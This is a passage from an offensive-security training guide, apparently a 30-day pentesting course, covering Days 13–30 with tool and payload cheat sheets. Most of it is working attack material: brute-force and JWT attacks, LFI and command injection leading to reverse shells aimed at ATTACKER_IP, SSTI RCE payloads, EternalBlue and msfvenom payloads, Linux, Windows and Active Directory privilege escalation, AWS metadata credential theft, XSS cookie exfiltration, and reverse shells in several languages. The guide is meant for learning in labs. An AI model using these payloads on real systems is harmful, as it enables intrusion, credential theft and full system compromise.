- Blind XXE confirmed via DNS callback is still a critical finding even without data exfiltration proof

★ REAL-WORLD: A XXE vulnerability in a PDF generation service at a Fortune 500 company allowed reading /etc/passwd and application config files via SVG uploads embedded in PDF templates. Discovered during a routine web app pentest – reported as critical.

DAY 13 Authentication & Session Attacks

■ COMMANDS TO RUN

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 32 http-post-form
'//target.com/login:username=^USER^&password=^PASS^:Invalid'

ffuf -u http://target.com/login -X POST -d 'user=admin&pass=FUZZ' -w rockyou.txt -fc 401 -H 'Content-Type:
application/x-www-form-urlencoded'

# Username enumeration – note response LENGTH difference for valid vs invalid users
# JWT attacks – decode at jwt.io
python3 jwt_tool.py <TOKEN> -X a # alg:none attack – remove signature
python3 jwt_tool.py <TOKEN> -C -d rockyou.txt # Crack weak secret
python3 jwt_tool.py <TOKEN> -T # Tamper payload (change role to admin)
hashcat -a 0 -m 16500 jwt_hash.txt rockyou.txt # Crack HS256 secret

# Session fixation test: note cookie before login – does it change after?
# Password reset flow: is the token random? Does it expire? Can it be reused?
sqlmap -u 'http://target.com/reset?token=FUZZ' --technique=B --level=3

★ REAL-WORLD: Username enumeration allowed mass account takeover at an auth provider when the error
message differed between 'No account found' and 'Wrong password'. H1 report rewarded $2,500.
```

DAY 14 API Hacking – Fundamentals

■ COMMANDS TO RUN

```
# Setup crAPI (vulnerable API)
git clone https://github.com/OWASP/crAPI.git && cd crAPI && docker-compose up -d

# Discover API endpoints
ffuf -u http://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc
200,201,401,403

gobuster dir -u http://target.com/api/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -t
50

# Read the API spec
curl -s http://target.com/swagger.json | python3 -m json.tool
curl -s http://target.com/openapi.json | python3 -m json.tool

# Test with no auth, wrong auth, other user's token
curl -s http://target.com/api/v1/admin/users # No auth at all
curl -s http://target.com/api/v1/users -H 'Authorization: Bearer INVALID'
curl -s http://target.com/api/v1/users -H 'Authorization: Bearer USER_A_TOKEN' # Access user B resources

# Version downgrade (v2 secured, v1 often not)
curl -s http://target.com/api/v1/users/1234 # Try old API version

# Excessive data exposure – check what's returned vs what's needed

★ REAL-WORLD: Facebook's 2018 breach exposed 50M tokens through an API endpoint (/me?fields=...)
that returned more data than intended, including private tokens. Classic OWASP API3.
```

DAY 15 API Hacking – Advanced

■ COMMANDS TO RUN

```
# Mass assignment attack – add unexpected fields
curl -X POST http://target.com/api/register -H 'Content-Type: application/json' -d
'{"username":"hacker","password":"pass","isAdmin":true,"role":"admin"}'

# GraphQL introspection
curl -X POST http://target.com/graphql -d '{"query":"__schema{types{name}}}"'
curl -X POST http://target.com/graphql -d '{"query":"__schema{queryType{fields{name,description}}}"' #
List all queries

# NoSQL injection (MongoDB)
# POST body: {"username":{"$gt":""},"password":{"$gt":""}} # Login bypass
# POST body: {"username":{"$regex":"^admin"},"password":{"$gt":""}} # Extract username
# Rate limit bypass headers
# Add: X-Forwarded-For: 1.2.3.{1-255} X-Real-IP: 10.0.0.1 X-Originating-IP: 127.0.0.1
# JWT none algorithm bypass
# Decode JWT → change alg to 'none' → modify payload → remove signature → re-encode
sqlmap -u http://target.com/api/v1/users/1 --headers='Authorization: Bearer TOKEN' --batch

★ REAL-WORLD: A HackerOne report on a fintech API found mass assignment during user registration.
Adding isAdmin: true in the JSON body elevated the account to admin without any server-side check.
Rewarded $10,000.
```

DAY 16 Directory Traversal & LFI/RFI

■ COMMANDS TO RUN

```
# Basic path traversal
curl 'http://target.com/page?file=../../../../etc/passwd'
curl 'http://target.com/page?file=...//...//...//etc/passwd'
curl 'http://target.com/page?file=.%2F.%2F.%2Fetc%2Fpasswd' # URL encoded
curl 'http://target.com/page?file=.%252F.%252Fetc%252Fpasswd' # Double encoded

# Target files – escalate after /etc/passwd confirmed
# /etc/shadow /root/.ssh/id_rsa /var/www/html/config.php
# /proc/self/environ /var/log/apache2/access.log /etc/hosts
# LFI to RCE via log poisoning:
curl -A '<?php system($_GET["c"]); ?>' http://target.com/ # Inject PHP into User-Agent → Apache log
curl 'http://target.com/page?file=../../../../var/log/apache2/access.log&c=id'

# LFI to RCE via PHP session file:
# 1. Log in – PHP session file created at /var/lib/php/sessions/sess_SESSIONID
# 2. Set a parameter to PHP code: ?name=<?php system($_GET['c']); ?>
# 3. Include the session file: ?file=../../../../var/lib/php/sessions/sess_YOURSESSIONID
dotdotpwn -m http -h target.com -o unix # Automated traversal fuzzer

★ REAL-WORLD: Log poisoning via LFI was used in a major CTF (HackTheBox Poison machine). Injecting PHP into the User-Agent header, then including /var/log/apache2/access.log via LFI achieved instant RCE. Exact same technique works in real engagements.
```

DAY 17 Command Injection

■ COMMANDS TO RUN

```
# Basic command separators – try each independently
# In any field processing system input (ping, DNS lookup, traceroute, etc.):
127.0.0.1; id
127.0.0.1 | id
127.0.0.1 || id
127.0.0.1 & id
127.0.0.1 && id
`id`
$(id)

# Blind – time-based confirmation
127.0.0.1; sleep 5
127.0.0.1 & ping -c 5 127.0.0.1

# Blind – redirect output to web-accessible file
127.0.0.1; id > /var/www/html/output.txt
curl http://target.com/output.txt # Read command output

# Blind – OOB via DNS exfiltration
127.0.0.1; nslookup `whoami`.YOUR_ID.interactsh.com
127.0.0.1; curl http://YOUR_ID.interactsh.com/`id` | base64`

# Reverse shell via command injection
127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
nc -lvnp 4444 # Catch the shell

commix --url='http://target.com/ping?ip=127.0.0.1' --os-shell # Automated
```

★ REAL-WORLD: Shellshock (CVE-2014-6271) was a command injection vulnerability in bash triggered via HTTP headers. Setting User-Agent: () { :;; } /bin/bash -i >& /dev/tcp/IP/4444 0>&1 on vulnerable CGI servers gave instant RCE. Millions of servers were exposed.

DAY 18 CSRF & Clickjacking

■ COMMANDS TO RUN

```
# CSRF PoC – auto-submitting form (host on attacker server, send link to victim)
<html><body><form action='http://target.com/transfer' method='POST'>
<input type='hidden' name='amount' value='9999'>
<input type='hidden' name='to' value='attacker_account'>
</form><script>document.forms[0].submit();</script></body></html>

# Burp CSRF PoC generator: right-click request → Engagement tools → Generate CSRF PoC
# CSRF token bypass techniques:
# 1. Remove token entirely – check if server validates presence
# 2. Set token to empty string: csrf_token=
# 3. Use a token from your own session for another user's action
# 4. Change request method POST → GET (some frameworks allow both)
# SameSite cookie attribute check:
# SameSite=Strict → CSRF very unlikely
# SameSite=Lax → CSRF on POST requests blocked, GET-based CSRF still possible
# No SameSite → CSRF straightforward
# Clickjacking PoC – overlay deceptive button over real action
# Check X-Frame-Options and CSP frame-ancestors first:
curl -I http://target.com | grep -i 'x-frame\|frame-options\|content-security'

★ REAL-WORLD: A CSRF in Twitter's API allowed third-party sites to tweet on behalf of authenticated users without consent, by forging the POST /1.1/statuses/update.json request from a page the victim visited. Fixed by adding per-request CSRF tokens.
```

DAY 19 SSTI - Server-Side Template Injection

■ COMMANDS TO RUN

```
# Step 1: Detect template engine with math probe
{{7*7}} # Jinja2/Twig → output: 49
${7*7} # FreeMarker/Mako → output: 49
#{7*7} # Ruby ERB → output: 49
<%= 7*7 %> # Ruby ERB/EJS
*{7*7} # Spring SpEL

# Step 2: Identify engine from error messages or framework fingerprint
# Step 3: Jinja2 RCE payloads
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{'__.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}}

# To find subprocess.Popen index:
{{'__.__class__.__mro__[1].__subclasses__()}}

# Twig RCE
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}

# FreeMarker RCE
<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}

# Automated with tplmap
python3 tplmap.py -u 'http://target.com/page?name=test' --os-shell

★ REAL-WORLD: A HackerOne critical report found SSTI in a Flask application's email greeting field.
The endpoint accepted {{7*7}} as a template expression and returned 49. The researcher then executed
{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}} for full file read.
Rewarded $15,000.
```

DAY 20 Metasploit Framework

■ COMMANDS TO RUN

```
msfconsole # Start Metasploit
# Inside msfconsole:
search eternalblue # Find modules by name
search type:exploit platform:windows smb # Filter by type and platform
search cve:2021-44228 # Search by CVE (Log4Shell)
use exploit/windows/smb/ms17_010_eternalblue
show options # View required settings
set RHOSTS 10.10.10.40
set LHOST tun0 # Use VPN interface, not LAN
set payload windows/x64/meterpreter/reverse_tcp
run # Or: exploit
# Meterpreter post-exploitation:
sysinfo && getuid && getpid
hashdump # Dump local password hashes
run post/multi/recon/local_exploit_suggester # Find privesc vectors
load kiwi && creds_all # Mimikatz integration
portfwd add -l 3389 -p 3389 -r 10.10.10.40 # Port forward RDP
run post/windows/manage/enable_rdp # Enable RDP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f exe -o shell.exe
msfvenom -p php/reverse_php LHOST=tun0 LPORT=4444 -f raw -o shell.php
```

★ REAL-WORLD: EternalBlue (MS17-010) was used in the WannaCry ransomware attack of 2017, infecting 200,000 machines across 150 countries in hours. The exact Metasploit module ms17_010_eternalblue is a one-step SYSTEM shell on unpatched Windows.

DAY 21 Privilege Escalation - Linux

■ COMMANDS TO RUN

```
# Upload and execute LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8080 # Serve from attacker machine
curl http://ATTACKER_IP:8080/linpeas.sh | bash # Run on target

# Manual checks – always run these first:
id && whoami && uname -a && cat /etc/os-release
sudo -l # CRITICAL: what can this user run as root?
find / -perm -u=s -type f 2>/dev/null # SUID binaries
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys
crontab -l && cat /etc/cron* /etc/crontab 2>/dev/null
cat /etc/shadow 2>/dev/null # Readable? Crack with hashcat

# GTF0Bins – escape SUID/sudo binaries
# If sudo vim: sudo vim -c '!/bin/bash'
# If sudo find: sudo find . -exec /bin/bash \; -quit
# If sudo python3: sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
# If sudo cp: cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p

# Writable /etc/passwd – add root user
openssl passwd -1 -salt xyz mypassword
echo 'hacker:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

# Kernel exploits – last resort (risky, can crash system)
uname -r && searchsploit linux kernel $(uname -r | cut -d- -f1)
pspy64 # Monitor processes for credential exposure in cron jobs

★ REAL-WORLD: On HTB machine Beep, sudo -l reveals the user can run nmap as root. GTF0Bins shows:
sudo nmap --interactive then !sh gives a root shell in seconds. sudo -l is always the first manual
check – it resolves many machines instantly.
```

DAY 22 Privilege Escalation - Windows

■ COMMANDS TO RUN

```
# Upload and run WinPEAS
# Transfer: python3 -m http.server 8080 (attacker) → certutil.exe -urlcache -f http://IP/winPEASx64.exe
C:\Users\Public\wp.exe
C:\Users\Public\wp.exe > C:\Users\Public\winpeas_out.txt

# Manual checks:
whoami /priv # Check token privileges
whoami /groups # Check group membership
systeminfo | findstr /i 'OS Name Version Hotfix' # Check patch level
wmic service get name,pathname,startmode | findstr /i auto | findstr /v 'C:\Windows' # Unquoted service paths
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# SeImpersonatePrivilege – almost always abusable → SYSTEM
whoami /priv | findstr Impersonate
PrintSpoofer.exe -i -c cmd # Windows 10/Server 2019
RoguePotato.exe -r ATTACKER_IP -e cmd -l 9999 # Server 2016/2019

# Credential hunting
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cmdkey /list # Saved credentials
runas /savecred /user:Administrator cmd.exe # Use saved admin creds
reg query HKLM /f password /t REG_SZ /s # Search registry for passwords

★ REAL-WORLD: On HTB Forest, a domain user account has SeImpersonatePrivilege. PrintSpoofer.exe -i
-c cmd gives NT AUTHORITY\SYSTEM in one command. This privilege is extremely common on service
accounts and is the fastest Windows PrivEsc path.
```

DAY 23 Active Directory Attacks

■ COMMANDS TO RUN

```
# Initial AD enumeration
nmap -sV -p 88,389,445,636,3268,5985 <DC_IP> # Key AD ports
enum4linux -a <DC_IP>
crackmapexec smb <DC_IP> -u '' -p '' # Null session enumeration
crackmapexec smb <DC_IP> -u 'guest' -p '' # Guest session

# Kerberoasting – request TGS for SPNs, crack offline
GetUserSPNs.py domain/user:pass -dc-ip <DC_IP> -request -outputfile spn_hashes.txt
hashcat -m 13100 spn_hashes.txt /usr/share/wordlists/rockyou.txt --force

# AS-REP Roasting – no credentials required
GetNPUsers.py domain/ -dc-ip <DC_IP> -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# Pass the Hash – use NTLM hash without cracking
psexec.py administrator@<TARGET_IP> -hashes :NTLM_HASH
crackmapexec smb <TARGET_IP> -u administrator -H NTLM_HASH --local-auth
evil-winrm -i <TARGET_IP> -u administrator -H NTLM_HASH

# BloodHound – visual attack path mapping
sudo neo4j start && bloodhound &
bloodhound-python -u user -p pass -d domain.local -dc <DC_IP> -c All

# In BloodHound: Analysis → Shortest Path to Domain Admins

# DCSync – replicate all NTLM hashes (requires DA or DCSync rights)
secretsdump.py domain/admin:pass@<DC_IP> # Extract all hashes
```

★ REAL-WORLD: On HTB Forest (a classic AD machine), the default AD setup has AS-REP Roasting enabled on a service account. GetNPUsers.py extracts the hash with zero credentials. Cracking it gives a foothold, and BloodHound reveals a path to Domain Admin via WriteDACL.

DAY 24 Password Attacks & Cracking

■ COMMANDS TO RUN

```
# Identify hash type before cracking
hash-identifier 'HASH_VALUE'
hashid 'HASH_VALUE' # More accurate for modern hashes

# Hashcat attack modes
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt # NTLM + wordlist
hashcat -m 0 -a 0 md5_hash.txt rockyou.txt # MD5 + wordlist
hashcat -m 1800 -a 0 sha512crypt.txt rockyou.txt # Linux shadow
hashcat -m 13100 -a 0 krb5tgs_hash.txt rockyou.txt # Kerberoast TGS
hashcat -m 1000 -a 0 hash.txt rockyou.txt -r best64.rule # With rules
hashcat -m 1000 -a 3 hash.txt '?u?l?l?l?d?d?d?d' # Mask attack

# John the Ripper
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show combined.txt
zip2john protected.zip > zip_hash.txt && john zip_hash.txt --wordlist=rockyou.txt

# Generate custom wordlists
cewl http://target.com -d 3 -m 5 -w custom.txt # From website content
python3 cupp.py -i # Interactive profile-based

# Password spraying – one password, many users (avoids lockout)
crackmapexec smb <DC_IP> -u users.txt -p 'Winter2024!' --continue-on-success
crackmapexec smb <DC_IP> -u users.txt -p 'Company@123' --continue-on-success

# Check password policy before spraying:
crackmapexec smb <DC_IP> --pass-pol
```

★ REAL-WORLD: The 2012 LinkedIn breach exposed 6.5 million SHA-1 unsalted hashes. Within hours, 90% were cracked using rockyou.txt + basic rules. LinkedIn had no salting and no rate limiting on hash reuse. Always check if hashes are salted before estimating crack time.

DAY 25 Python for Offensive Security

■ COMMANDS TO RUN

```
# Port scanner with threading
import socket, concurrent.futures
def scan(host, port):
    try:
        s = socket.create_connection((host, port), timeout=0.5)
        s.close(); return port
    except: return None
with concurrent.futures.ThreadPoolExecutor(200) as ex:
    open_ports = filter(None, ex.map(lambda p: scan('10.10.10.1', p), range(1, 65536)))
    print(sorted(open_ports))

# HTTP brute-forcer with session persistence
import requests
s = requests.Session() # Reuse TCP connection for speed
with open('/usr/share/wordlists/rockyou.txt', errors='ignore') as f:
    for pwd in f:
        r = s.post('http://target.com/login', data={'user':'admin','pass':pwd.strip()})
        if 'Welcome' in r.text:
            print(f'[+] Found: {pwd.strip()}); break

# Python reverse shell (one-liner)
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER',4444));os.dup2(s.fileno(),0)
;os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"

# IDOR iterator with requests
for uid in range(1000, 2000):
    r = requests.get(f'http://target.com/api/user/{uid}', headers={'Authorization':'Bearer YOUR_TOKEN'})
    if r.status_code == 200:
        print(f'[+] User {uid}: {r.json()["email"]}')

# Install pwntools for CTF/exploit development
pip3 install pwntools --break-system-packages

# pwntools basic usage:
from pwn import *
p = process('./target') # or remote('10.10.10.1', 4444)
p.sendline(b'A' * 100 + p64(0xdeadbeef))
p.interactive()

★ REAL-WORLD: The sqlmap tool – used by millions of pentesters – is written entirely in Python.
Understanding its request/response loop helps you write targeted injection scripts when sqlmap gets
blocked by WAFs.
```

DAY 26 Custom Exploit Development with Python

■ COMMANDS TO RUN

```
# Classic 32-bit Linux buffer overflow workflow
# Step 1: Fuzz – find the crash offset
python3 -c "import socket; s=socket.socket(); s.connect(('TARGET',9999)); s.send(b'OVERFLOW1'+b'A'*5000+b'\r\n')"

# Step 2: Generate cyclic pattern to find exact EIP offset
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_VALUE>

# OR with pwntools:
from pwn import *; print(cyclic(5000))
from pwn import *; print(cyclic_find(0x6f43396e))

# Step 3: Find bad characters (corrupt payload)
badchars = bytes(range(0x01, 0x100)) # All bytes except null
# Send in payload, compare hex dump in Immunity debugger with expected sequence

# Step 4: Find JMP ESP in Immunity debugger (Mona plugin)
# !mona jmp -r esp -cpb '\x00\x0a' # Filter out bad chars

# Step 5: Generate shellcode excluding bad chars
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f python -b '\x00\x0a' -v shellcode

# Step 6: Final exploit skeleton
offset = 1978
eip = b'\xxx\xxx\xxx\xxx' # JMP ESP address (little-endian)
nop = b'\x90' * 20 # NOP sled
payload = b'A' * offset + eip + nop + shellcode

★ REAL-WORLD: Buffer overflows are at the core of every OSCP exam machine. The 2003 Slammer worm exploited a buffer overflow in MS SQL Server, spreading globally and infecting 75,000 machines in 10 minutes using a 376-byte exploit payload.
```

DAY 27 Malware Analysis Fundamentals

■ COMMANDS TO RUN

```
# Static analysis – no execution required
file malware.exe # File type and architecture
strings malware.exe # Extract readable strings
strings -n 8 malware.exe | grep -iE 'http|cmd|powershell|reg|CreateProcess'
md5sum malware.exe && sha256sum malware.exe # Hashes for VirusTotal

# PE analysis
objdump -d malware.exe | head -200 # Disassembly
readelf -h malware.elf # ELF header analysis
python3 -c "import pefile; p=pefile.PE('malware.exe'); print([e.dll.decode() for e in p.DIRECTORY_ENTRY_IMPORT])"

# Check entropy – high entropy = packed/encrypted content
python3 -c "import math,sys; data=open(sys.argv[1],'rb').read(); n=len(data); h=-sum((data.count(b)/(n or 1))*math.log2(max(data.count(b)/(n or 1),1e-10)) for b in range(256)); print(f'Entropy: {h:.2f}')"
malware.exe

# Dynamic analysis – run in isolated VM
# Process Monitor (Procmon) → watch file/registry/network events
# Wireshark → capture all network traffic during execution
# Regshot → diff registry before and after execution
# x64dbg / Ghidra → debugger + decompiler for deep analysis

# YARA rule matching
yara /usr/share/yara-rules/malware.yar malware.exe

# VirusTotal hash lookup (no API key needed for basic check)
curl -s 'https://www.virustotal.com/vtapi/v2/file/report?apikey=KEY&resource=SHA256'
```

★ REAL-WORLD: The Mirai botnet (2016) infected 600,000 IoT devices using default credentials. Static analysis of the Mirai source (leaked on GitHub) revealed a hardcoded list of 61 username/password combos – basic strings analysis would have surfaced this immediately.

DAY 28 Cloud Penetration Testing

■ COMMANDS TO RUN

```
# Configure AWS CLI with found credentials
aws configure # Enter: Access Key ID, Secret Key, region (us-east-1)
aws sts get-caller-identity # Who am I?
aws iam get-user && aws iam list-attached-user-policies --user-name USERNAME

# S3 bucket enumeration
aws s3 ls s3://target-bucket-name # List bucket contents
aws s3 ls s3://target-bucket-name --recursive # List all files
aws s3 cp s3://target-bucket/sensitive.txt /tmp/ # Download files
curl https://target-bucket.s3.amazonaws.com/ # Test public access

# Common bucket naming patterns:
# company-backup company-dev company-logs company-data company-prod company-staging

# IAM privilege escalation
aws iam list-users
aws iam list-roles && aws iam list-attached-role-policies --role-name ROLE_NAME
aws iam simulate-principal-policy --policy-source-arn USER_ARN --action-names s3:GetObject ec2:*

# SSRF → cloud metadata (AWS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Get role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME # Get creds

# Extract: AccessKeyId, SecretAccessKey, Token → use in aws configure

# Automated cloud security scanning
scoutsuite aws --report-dir ./scout_report # Comprehensive AWS audit
prowler aws -g cis_level1 # CIS benchmark checks

★ REAL-WORLD: In 2019, a researcher found an exposed AWS S3 bucket belonging to a major US defense contractor containing hundreds of gigabytes of sensitive documents. The bucket was publicly readable with no authentication. AWS bucket names are guessable – always enumerate them.
```

DAY 29 Full Red Team Attack Chain

■ COMMANDS TO RUN

```
# Phase 1: External Recon
subfinder -d target.com | httpx -silent > live_subs.txt
nmap -iL live_subs.txt -sV --open -T4 -oA external_scan

# Phase 2: Initial Access
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302 -t 100
nc -lvp 4444 # Start reverse shell listener

# Phase 3: Post-Exploitation (Linux)
curl http://ATTACKER_IP/linpeas.sh | bash 2>/dev/null
sudo -l && find / -perm -u=s -type f 2>/dev/null

# Phase 4: Lateral Movement
crackmapexec smb 10.10.10.0/24 -u user -p password --shares # Network sweep
evil-winrm -i TARGET_IP -u administrator -p 'Password123!'
proxychains nmap -sT -Pn -p 80,443,22,445 10.10.10.0/24 # Pivot scan
ssh -D 1080 user@pivot_host # SOCKS proxy for pivoting

# Phase 5: Domain Compromise
bloodhound-python -u user -p pass -d domain.local -dc DC_IP -c All
# In BloodHound: Analysis > Shortest Paths to Domain Admins
GetUserSPNs.py domain/user:pass -dc-ip DC_IP -request # Kerberoast
secretsdump.py domain/admin:pass@DC_IP # DCSync – get all hashes

# Phase 6: Document everything (while hacking, not after)
# timestamp: date +%Y%m%d_%H%M%S; command output

★ REAL-WORLD: The SolarWinds supply-chain attack (2020) demonstrated a full red team chain: initial access via software update → lateral movement → AD compromise → persistent C2 via DNS tunneling – undetected for 9 months in 18,000 organisations.
```

DAY 30 CTF Challenge & Portfolio Day

■ COMMANDS TO RUN

```
# Your full methodology applied to one complete machine
nmap -sC -sV -p- -oA day30_scan TARGET_IP # Full service scan
gobuster dir -u http://TARGET_IP -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,html,txt
searchsploit <service_name> <version> # Find exploits for discovered services

# Write-up structure (publish to GitHub Pages or HackMD):
# 1. Machine Info: OS, difficulty, release date, IP
# 2. Summary: what vulnerability chain led to root?
# 3. Recon: full nmap output, open ports, service versions
# 4. Enumeration: web content, API endpoints, user accounts found
# 5. Exploitation: exact vulnerability, payload used, how shell obtained
# 6. Post-Exploitation / PrivEsc: method, commands, proof
# 7. Flags: user.txt and root.txt (hash, not plaintext for active boxes)
# 8. Lessons Learned: what you would do faster next time

# Publish your write-up to GitHub
git init writeups && cd writeups
git add . && git commit -m 'Add Day 30 HTB write-up: MACHINE_NAME'
git push origin main

# Portfolio checklist:
# [x] GitHub profile with 30 days of notes and write-ups
# [x] At least 3 complete HTB/THM write-ups published
# [x] PortSwigger Academy labs tracked (Web Security Academy completion)
# [x] TryHackMe profile with badges/rank visible
# [x] LinkedIn updated: HTB profile, THM profile, certifications

★ REAL-WORLD: Day 30 is not an ending – it is a starting point. The best pentesters never stop labbing. HTB releases new machines every week. PortSwigger adds new labs monthly. Your job is to stay curious, keep reading CVEs, and keep practising.
```

■ TOOLS CHEAT SHEET

Nmap

```
nmap -sC -sV -p- -oA full_scan <IP> # Full comprehensive scan
nmap -sS -T4 --open <IP> # Fast SYN scan
nmap -sU --top-ports 200 <IP> # UDP top 200
nmap --script vuln <IP> # Vulnerability scripts
nmap -sn 192.168.1.0/24 # Host discovery
nmap -A -O -p- <IP> -oA aggressive # OS+version+scripts
```

Gobuster / ffuf

```
gobuster dir -u http://t -w wordlist.txt -t 50 -x php,html,bak,zip
gobuster dns -d target.com -w subdomains.txt -t 50
ffuf -u http://FUZZ -w words.txt -mc 200,301,302,403 -t 80
ffuf -u http://FUZZ.t.com -H 'Host: FUZZ.t.com' -w subs.txt -mc 200
```

sqlmap

```
sqlmap -u 'http://t/?id=1' --dbs --batch
sqlmap -r request.txt --level=5 --risk=3 --batch
sqlmap -u 'http://t/?id=1' --os-shell --batch
sqlmap -u 'http://t/?id=1' --technique=T --time-sec=5
```

Netcat / Shells

```
nc -lvnp 4444 # Start listener
rlwrap nc -lvnp 4444 # With readline support
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # Bash reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")' # Upgrade shell
# Ctrl+Z → stty raw -echo; fg → reset → export TERM=xterm
```

Metasploit

```
msfconsole # Start Metasploit
search type:exploit platform:windows smb # Search by criteria
use exploit/windows/smb/ms17_010_eternalblue
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f exe -o s.exe
```

LinPEAS / WinPEAS

```
curl http://ATTACKER_IP:8080/linpeas.sh | bash # Run LinPEAS
python3 -m http.server 8080 # Serve from attacker
# WinPEAS: certutil -urlcache -f http://IP/winPEASx64.exe wp.exe
wp.exe | Out-File C:\Users\Public\wp_out.txt
```

Impacket / AD

```
GetUserSPNs.py domain/user:pass -dc-ip DC_IP -request -outputfile hashes.txt
GetNPUsers.py domain/ -dc-ip DC_IP -usersfile users.txt -format hashcat
secretsdump.py domain/admin:pass@DC_IP # DCSync
psexec.py admin@TARGET -hashes :NTLM # Pass-the-Hash
evil-winrm -i TARGET -u admin -H NTLM_HASH
```

■ PAYLOAD CHEAT SHEET

XSS Payloads

```
<script>alert(document.domain)</script> # Basic confirmation
<img src=x onerror=alert(1)> # img tag
<svg onload=alert(1)> # SVG
"autofocus onfocus=alert(1) x=" # Attribute injection
<details open ontoggle=alert(1)> # Filter bypass
<input autofocus onfocus=alert(1)> # No script tag
<script>fetch('http://ATTACKER/?c='+document.cookie)</script> # Cookie theft
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)> # HTML entity encode
<ScRiPt>alert(1)</sCrIpT> # Case variation
```

SQL Injection Payloads

```
' OR '1'='1 # Auth bypass
admin'-- # Comment rest of query
' UNION SELECT NULL,NULL-- # UNION test (2 columns)
' UNION SELECT username,password FROM users-- # Extract creds
' AND SLEEP(5)-- # MySQL time-based blind
'; WAITFOR DELAY '0:0:5'-- # MSSQL time-based blind
' AND 1=2-- # Force false condition (boolean blind)
```

Reverse Shells

```
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # Bash
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
php -r '$s=fsockopen("IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");' # PHP
$c=New-Object Net.Sockets.TCPClient('IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=$r+'PS> ';$x=[text.encoding]::ASCII.GetBytes($t);$s.Write($x,0,$x.Length)}
nc -e /bin/bash ATTACKER_IP 4444 # Netcat (if -e available)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP 4444 >/tmp/f # mkfifo
```

■ HACKER MINDSET

How to Think During Testing

■ Follow the data flow

Where does user input go? Is it stored, queried, executed, reflected, or logged? Every input path is a potential vulnerability waiting for the wrong assumption.

■ Question every server response

Why 403 and not 404? Why does this request take 2 seconds when others take 50ms? Why is this field in the response but never shown in the UI? Anomalies are clues.

■ Think like the developer who built it

What shortcuts would I have taken here? What did they trust that they should not have? What does this framework handle by default — and what falls through the cracks?

■ Enumerate before you exploit

Never exploit the first interesting thing you find. Map everything first. The actual critical vulnerability is usually not the first one you see.

■ Document as you hack, not after

Open a terminal split with a notes file. Run tee to capture output. You will not remember exact commands 3 hours later. Real engagement reports need timestamps.

■ Slow down when stuck

If you are stuck, the answer is almost always in data you have not collected yet. Enumerate harder. Read the source. Check all HTTP History. The bug is there.

Vulnerability Chaining – Common Chains

- SSRF → AWS metadata → IAM credentials → S3 exfiltration → data breach
- Stored XSS → steal admin session → CSRF token harvest → admin action
- LFI → Apache log poisoning → RCE → linpeas → SUID → root shell
- IDOR → access admin profile → reset admin password → full ATO
- File upload bypass → web shell → reverse shell → privilege escalation
- SQLi → extract credentials → password reuse on SSH → root via sudo
- Kerberoasting → crack hash → lateral movement → DCSync → Domain Admin
- XXE → /etc/passwd read → key file → /root/.ssh/id_rsa → SSH as root

■ COMMON BEGINNER MISTAKES

✗ Skipping enumeration to run exploits

Fix: Rushing to run Metasploit on everything without mapping the attack surface first. Enumeration is 80% of the work. Skip it and you miss the real vulnerabilities.

✗ Running tools blindly without understanding them

Fix: Executing commands without knowing what they do or what output to expect. Read the --help. Read the man page. Know your tools or they will mislead you.

✗ Giving up after 30 minutes

Fix: Every lab machine is solvable with the information available. If you are stuck, you are missing something obvious. Enumerate more, not differently.

✗ Not documenting in real time

Fix: You will not remember the exact commands, parameters, and responses after a 6-hour session. Write notes continuously. Your notes ARE your report.

✗ Relying only on automated tools

